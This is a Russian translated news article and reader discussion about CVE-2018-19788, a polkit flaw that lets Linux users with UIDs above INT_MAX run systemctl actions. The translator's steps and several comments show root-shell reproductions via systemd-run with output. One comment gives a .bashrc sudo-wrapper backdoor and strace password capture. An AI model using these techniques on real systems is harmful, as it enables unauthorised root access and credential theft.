Непривилегированные пользователи Linux с UID> INT_MAX могут выполнить любую команду

https://thehackernews.com/2018/12/linux-user-privilege-policykit.html
  • Перевод
Присядьте, у меня есть новость, которая вас сейчас шокирует…

В операционных системах Linux есть неприкрытая уязвимость, позволяющая пользователю с низкими привилегиями санкционировано выполнить любую команду systemctl (и даже стать root — прим. переводчика), если его UID больше 2147483647.

image

Описанная уязвимость, отслеживаемая как CVE-2018-19788, находится в библиотеке PolicyKit (также известной, как polkit) версии 0.115, предустановленной в большинстве популярных дистрибутивов Linux, включая Red Hat, Debian, Ubuntu и CentOS. Polkit — инструмент в UNIX-подобных системах, используемый для определения политик и предоставления доступа непривилегированных процессов к привилегированным. В отличие от «sudo» не наделяет процесс пользователя правами администратора, а позволяет точно контролировать, что разрешено, а что запрещено.

Уязвимость существует благодаря ошибке в проверке PolicyKit запросов на получение прав для любого пользователя с UID, превышающим INT_MAX. Где INT_MAX — это константа, которая хранит максимальное значение целочисленной переменной типа integer, что равно 2147483647 (в шестнадцатеричном 0x7FFFFFFF).

Таким образом, если мы создадим учетную запись с любым UID, превышающим значение INT_MAX, компонент PolicyKit позволит успешно выполнить любую команду systemctl.

Исследователь безопасности Рич Мирч (Rich Mirch) из Twitter, представившийся как «0xm1rch», выпустил эксплойт proof-of-concept (PoC), чтобы успешно продемонстрировать уязвимость, которая требует пользователя с UID 4000000000.

Red Hat рекомендует системным администраторам не разрешать какие-либо отрицательные UID или UID больше 2147483646, чтобы смягчить проблему до выпуска заплатки.

Несколько способов эксплуатации от переводчика


Первый способ — просто через systemctl. Я создал пользователя с большим UID, затем попытался запустить apache2:

1) для начала проверил, что он лежит

$ systemctl status apache2
● apache2.service - The Apache HTTP Server
   Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
  Drop-In: /lib/systemd/system/apache2.service.d
           └─apache2-systemd.conf
   Active: inactive (dead)

2) попытался запустить, но получил ошибку

$ systemctl start apache2

(process:2820): GLib-GObject-WARNING **: 00:42:35.586: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)

3) но затем убедился, что он все-таки запустился

$ systemctl status apache2
● apache2.service - The Apache HTTP Server
   Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
  Drop-In: /lib/systemd/system/apache2.service.d
           └─apache2-systemd.conf
   Active: active (running) since Tue 2018-12-11 00:42:35 +04; 2s ago
  Process: 2825 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE
 Main PID: 2829 (apache2)
    Tasks: 55 (limit: 4526)
   CGroup: /system.slice/apache2.service
           ├─2829 /usr/sbin/apache2 -k start
           ├─2830 /usr/sbin/apache2 -k start
           └─2831 /usr/sbin/apache2 -k start

Второй способ заключается в запуске bash через systemd. Я выполнил следующую команду, создал текстовый документ в корне фс, добавил в него строку, и проверил результат

$  systemd-run -t /bin/bash

(process:3947): GLib-GObject-WARNING **: 01:24:30.023: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Running as unit: run-u107.service
Press ^] three times within 1s to disconnect TTY.
# echo hello > /test.txt
# cat /test.txt
hello

Пока экспериментировал в своей убунте, обнаружил еще такую закономерность: если под пользователем с таким UID зайти в параметры учетных записей, то все настройки разблокированы, что позволяет редактировать/удалять любых пользователей.

Остается вопрос, как теперь «вызвать» появление на хосте-жертве пользователя с таким UID, и действительно ли этот баг несет угрозу?
Поделиться публикацией

Похожие публикации

Комментарии 51

    +25

    Реше..., А не! Не та ОС.

      0
      почитал комментарии, в том числе на fb из оригинальной статьи ссылка, решето все меньше решето, хотя да звучит.
        +3
        Осталось всего ничего — создать из под рута такого пользователя.
        –2
        > как теперь «вызвать» появление на хосте-жертве пользователя с таким UID
        Как-как. Каком кверху.
        curl… | sudo bash все делают не глядя.
          –1
          а разве sudo теперь нужен?
            +1
            Нужен, чтобы появить нового пользователя. Собственно, потому и не очень страшный баг.
            +2
            >curl… | sudo bash все делают не глядя.

            Кто все? Кто так делает, рано или поздно попадют на однострочник и очищенную систему.
              0
              Девопсов постепенно к этому приучали.
              Тот же NodeJS и npm очень долгое время только так и можно было поставить (помимо мохнатых версий из дистрибутива).
                0
                Нет-нет, при установке nodejs никакого sudo нет.
                  +1
                  Да шо ви мне таки сказки рассказываете.
                  nodejs.org/en/download/package-manager/#macos
                  nodejs.org/en/download/package-manager/#debian-and-ubuntu-based-linux-distributions-enterprise-linux-fedora-and-snap-packages

                  # Using Ubuntu
                  curl -sL https://deb.nodesource.com/setup_11.x | sudo -E bash -
                  sudo apt-get install -y nodejs


                  Другой вопрос, что сейчас там просто репозиторий добавляется, а потом уже пакет ставишь, раньше (до nodesource) оно прямо из скрипта и ставилось.
                    0
                    Я не знаю, кто так ставит ноду. Лучше ставить через систему управления версиями:
                    github.com/tj/n
                    или
                    github.com/creationix/nvm
                    И в обоих случаях никакого sudo
                      0
                      github.com/creationix/nvm#installation
                      нууу… не убедили.

                      Вопрос не в том, как делаете лично вы, а в том, что написано в документации. С точки зрения «девопсизации методом copy-paste» curl | sudo bash давно стало нормой ровно по той причине, что в документации к любой ереси это есть.
                        0
                        github.com/creationix/nvm#installation
                        Где вы там нашли sudo?

                        Вопрос не в том, как делаете лично вы

                        А так делаю не только я, это стандарт де-факто. Если вы этого не знаете, то значит, вы точно не занимаетесь профессионально разработкой на nodejs.

                        в документации к любой ереси это есть.

                        Не ставьте всякую ересь :)
                          +1
                          sudo там нет, но не то, чтобы curl | bash был прямо намного менее опасен, можно подсадить бэкдор, который потом выполнит нужно с sudo.

                          Сама идея запускать скрипты не читая — порочна.
                            0
                            Сама идея запускать скрипты не читая — порочна.

                            Вот абсолютно согласен!

                            можно подсадить бэкдор, который потом выполнит нужно с sudo.

                            sudo в любом случае требует взаимодействия с пользователем, он специально так спроектирован. Незаметно вставить sudo в скрипт не получится.
                              +2
                              function sudo() {
                              /usr/bin/sudo /usr/bin/exploit.sh
                              /usr/bin/sudo ${@}
                              }


                              К сожалению, достаточно что-то такое в .bashrc пользователю добавить и следующий запуск sudo запустит exploit.sh. Если сам скрипт аккуратно написан без выхлопа (и почистит следы за собой), то и не узнаешь об этом.

                              Сам sudo в целом тоже не очень безопасен — в отличие от su, например, strace на sudo выхватывает введенный пароль.
                                0
                                Расскажите, как вы запустили sudo под strace. У strace в мане написано, что он не умеет трейсить бинарники с suid. Мне нужно докопаться до причины одной существенной задержки при запуске чего-либо через sudo, а для gdb смелости (и времени) не хватает. Хотелось бы сначала обойтись просмотром сисколлов.
                                  0
                                  Да в целом как обычно:
                                  inky@alexstrasza:~$ sudo strace -f -r -s1024 -p 30582
                                  strace: Process 30582 attached

                                  pid 30582 — процесс sudo sleep 1h

                                  Можно написать скрипт, который в начале делает sleep 20, например, за это время к нему подцепиться стрейсом с -f, там всё будет.

                                  Пароль введенный, кстати, вот так выглядит:
                                  0.000000 read(9, "1", 1) = 1
                                  3.870015 read(9, "2", 1) = 1
                                  0.000140 read(9, "3", 1) = 1
                                  0.000147 read(9, "1", 1) = 1
                                  0.000349 read(9, "2", 1) = 1
                                  0.000266 read(9, "3", 1) = 1
                                  0.000173 read(9, "1", 1) = 1
                                  0.000149 read(9, "2", 1) = 1
                                  0.000107 read(9, "3", 1) = 1
                                  0.000098 read(9, "\n", 1) = 1
                              0
                              Можно подумать, вы читаете инсталляционные скрипты всех пакетов, которые вы ставите, или пакету с ubuntu.org больше доверия, чем скрипту с nodejs.org. Единственная разница с точки зрения безопасности — пакет подписан GPG-подписью, которую своровать вроде как сложней, чем взломать веб-сервер. Но это не слишком существенная разница, как по-мне.
                                0

                                репозитории ubuntu защищены лучше, чем учетка npm. При этом они премодерируются.

                                  +1
                                  К пакету из репозитория ubuntu/debian однозначно больше доверия — популярные дистрибутивы популярные не только потому что они клёвые, в основном как раз из-за репутации мейнтейнеров.
                              0
                              Давно стало нормой для кого? Мне вот лично как-то даже в детстве в голову не приходило таких конструкций. Как-то обычно сначала wget куда надо, потом посмотреть что скачал и если это оно тогда уже chmod +x и т.д.
                              А если у кого curl | sudo bash — норма, так это временно или таких не жалко :-)
                        0
                        Девопсов постепенно к этому приучали.
                        Тот же NodeJS и npm очень долгое время только так и можно было поставить
                        Ага, я когда впервые Node ставил на бубунте, немного удивился такому подходу — это ж даже хуже, чем под виндой скачать и запустить экзэшник, под виндой у него хотя бы ограниченные права пользователя, и как правило есть антивирус, а тут сразу из-под рута.
                        В итоге скачал скрипт курлом, изучил, (ничего не понял) и потом уже запустил.
                      0
                      что это значит
                      curl… | sudo bash все делают не глядя.
                        +3
                        Многие пакеты сейчас так ставятся
                          0
                          flatpak и прочее ставятся без sudo. С sudo никто всерьёз не предлагает ничего ставить. А если и предложат, то я ставить не буду.
                      +2

                      Это не баг, это фича.

                        +3
                        Остается вопрос, как теперь «вызвать» появление на хосте-жертве пользователя с таким UID, и действительно ли этот баг несет угрозу?

                        Еще какую. Внешне безобидный юзер на самом деле является рутом, и ни ручным, ни автоматическим аудитом этого не видно. И он может жить в системе очень долго, особенно если ему дать имя вроде mysqI.
                        Как создать — вопрос другой. 0day, физический доступ к компьютеру, уволившийся админ — вариантов не так уж и мало.
                          +2
                          >и ни ручным, ни автоматическим аудитом этого не видно

                          Да бросьте, при аудите всё равно смотришь /etc/passwd, и заоблачный uid явно бросится в глаза.
                            +3
                            Многие автоматизируют аудит и не предусматривают подобную проверку
                              –3
                              Та ну сдарсьти. Если автоматический аудит не парсит users на предмет того какие у какого пользователя права, то грош цена такому аудиту. Потому что получив рута, я из любого пользователя, сделаю равного руту по правам, десятком разных способов.
                                0
                                О том и речь. Аудит покажет, что у пользователя все в порядке с правами, но из-за бага, его права существенно выше.
                            +3
                            Автоматический аудит очень вероятно выдаст exception при парсинге user_id
                            Ручной — ну это очень тяжело не заметить пользователя с 10ти значным ID
                              +1
                              как буд-то кто-то специально будет создавать юзера с большим UID
                                +1
                                Ну вот кстати иметь резервного рута во многих случаях идея для многих заманчивая.
                              –1
                              Сотни тысяч роутеров с паролями по дефолту не подтверждают вашу самоуверенность.
                              Та-же самая штука будет на облаках. Многие покупают виртуалку, но экономят на обслуживании. В итоге даже автоапдейты не накладываются. А попытаются провайдеры иметь доступ к машине, люди взвоют о своей приваси. В общем сложный вопрос. А баг действительно критичный
                                +1
                                Эм… Пользователь (не администратор) может создавать нового пользователя? А иначе как нагнать UID?
                                  0
                                  залогинился под root в консоли и провел следующий эксперимент
                                  root@debavk:/home/user# uname -a
                                  Linux debavk 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux
                                  root@debavk:/home/user# useradd -u 2147483649 testuser
                                  root@debavk:/home/user# su - testuser
                                  No directory, logging in with HOME=/
                                  $ systemd-run -t /bin/bash
                                  **
                                  ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
                                  Failed to start transient service unit: Access denied
                                  $ echo hello > /test.txt
                                  -su: 2: cannot create /test.txt: Permission denied
                                  $ 
                                  root@debavk:/home/user# userdel testuser
                                  root@debavk:/home/user# useradd -u 4000000000 testuser
                                  root@debavk:/home/user# su - testuser
                                  No directory, logging in with HOME=/
                                  $ id  
                                  uid=4000000000(testuser) gid=1002(testuser) groups=1002(testuser)
                                  $ systemd-run -t /bin/bash
                                  **
                                  ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
                                  Failed to start transient service unit: Access denied
                                  $ echo hello > /test.txt
                                  -su: 3: cannot create /test.txt: Permission denied
                                  

                                  что то я не дочитал в статье?
                                    +10
                                    Как обычно в дебиане слишком старый policykit и systemd )? Половина уязвимостей прошла мимо нас по причине «у нас тут старьё в main, а для backports я слишком ленив».
                                      +1
                                      спасибо, просто в статье так сказано, что вроде как должно быть по умолчанию уязвимо, как минимум я так прочитал.
                                        +2
                                        Судя по ведру, у вас debian 9, там мало того, что 0.105 (а уязвимость в 0.115), так оно ещё и вроде только для систем с графикой актуально — на серверах polkit не ставится по умолчанию.

                                        115 есть только в experimental. Непонятно, в общем, зачем debian сюда приплели.
                                    +2
                                    Остается вопрос, как теперь «вызвать» появление на хосте-жертве пользователя с таким UID

                                    Есть сервер, где LXC контейнеры, пользователи которых на хост системе видны именно с такими (и выше) UID'ами. Вопрос, работает ли эта уязвимость изнутри LXC контейнера. Ubuntu 16.04.
                                      –3
                                      Баг всё-таки не в Linux, а в Polkit/SystemD. (Не все пользуются этой поделкой упоротых инженеров Шапки, которые плевали на безопасность и удобство и заботятся только о введении зондов). Не удивлюсь, если этот «баг» сделали специально.
                                        +2
                                        упоротых инженеров Шапки,
                                        плевали на безопасность

                                        Очень толсто!
                                        Указанные вами специалисты рекомендуют SELinux в enforced режиме, и это во многом решает подобные проблемы.


                                        [root@test ~]# useradd -u 2147483649 testuser
                                        (Tue Dec 11 15:32:29:453761 2018) [sss_cache] [confdb_get_domains] (0x0010): No domains configured, fatal error!
                                        Could not open available domains
                                        useradd: sss_cache exited with status 2
                                        useradd: Failed to flush the sssd cache.
                                        (Tue Dec 11 15:32:29:468971 2018) [sss_cache] [confdb_get_domains] (0x0010): No domains configured, fatal error!
                                        Could not open available domains
                                        useradd: sss_cache exited with status 2
                                        useradd: Failed to flush the sssd cache.
                                        
                                        [root@test ~]# grep testuser /etc/passwd
                                        testuser:x:2147483649:1003::/home/testuser:/bin/bash
                                        
                                        [root@test ~]# su - testuser
                                        
                                        [testuser@test ~]$ pwd
                                        /home/testuser
                                        
                                        [testuser@test ~]$ systemd-run -t /bin/bash
                                        
                                        (pkttyagent:9334): GLib-GObject-WARNING **: 15:33:21.538: value "-2147483647" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
                                        **
                                        ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
                                        Running as unit: run-u23561.service
                                        Press ^] three times within 1s to disconnect TTY.
                                        
                                        [testuser@test ~]$ id
                                        uid=2147483649(testuser) gid=1003(testuser) groups=1003(testuser) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
                                        
                                        [testuser@test ~]$ echo hello > /test.txt
                                        -bash: /test.txt: Permission denied
                                        
                                        [testuser@test ~]$ rpm -q polkit
                                        polkit-0.115-2.fc29.x86_64
                                        
                                        [testuser@test ~]$ logout
                                        
                                        [root@test ~]# ausearch -c '(bash)' --raw
                                        type=AVC msg=audit(1544538801.747:9383): avc:  denied  { open } for  pid=9337 comm="(bash)" path="/dev/pts/11" dev="devpts" ino=14 scontext=system_u:system_r:init_t:s0 tcontext=unconfined_u:object_r:user_devpts_t:s0 tclass=chr_file permissive=0
                                        
                                        +1
                                        на Xubuntu 18.04.1 — Дыра есть

                                        $ sudo -i
                                        # useradd -u 4000000000 testuser
                                        # su testuser
                                        $ id
                                        uid=4000000000(testuser) gid=1001(testuser) groups=1001(testuser)
                                        
                                        $ systemd-run -t /bin/bash
                                        
                                        (process:18134): GLib-GObject-WARNING **: 18:34:39.564: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
                                        **
                                        ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
                                        Running as unit: run-u657.service
                                        Press ^] three times within 1s to disconnect TTY.
                                        # id
                                        uid=0(root) gid=0(root) groups=0(root)
                                        
                                        # 
                                          0
                                          root@nowhere:~# useradd -u 4000000000 testuser
                                          root@nowhere:~# su testuser
                                          $ id
                                          uid=4000000000(testuser) gid=1001(testuser) groups=1001(testuser)
                                          $ systemd-run -t /bin/bash
                                          Failed to start transient service unit: The name org.freedesktop.PolicyKit1 was not provided by any .service files
                                          $ id
                                          uid=4000000000(testuser) gid=1001(testuser) groups=1001(testuser)

                                          Секрет прост — со своих серверов я сношу polkit-1 accountsservice libaccountsservice0, нафиг нужно ещё одно sudo, только кривое и слабо проверенное.


                                          А на десктопе через PolicyKit сделано монтирование внешних дисков, управление питанием и некоторые возможности NetworkManager, снести не получится :(

                                          0
                                          О_о
                                          Критичный баг, такие довольно редко находят.
                                            +5
                                            Очевидное-невероятное, с правами рута в линуксе можно натворить всякого, прям открытие. А без рутовых прав пользователя не добавить, увы…
                                              +5
                                              Сенсация! Рут может создать пользователя с правами рута!

                                              Извините, не удержался…
                                                +2
                                                … и не знать об этом
                                                0
                                                Исследователь безопасности Рич Мирч (Rich Mirch) из Twitter

                                                Звучит будто он работает в Twitter, хотя видимо это не так.

                                                Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                                Самое читаемое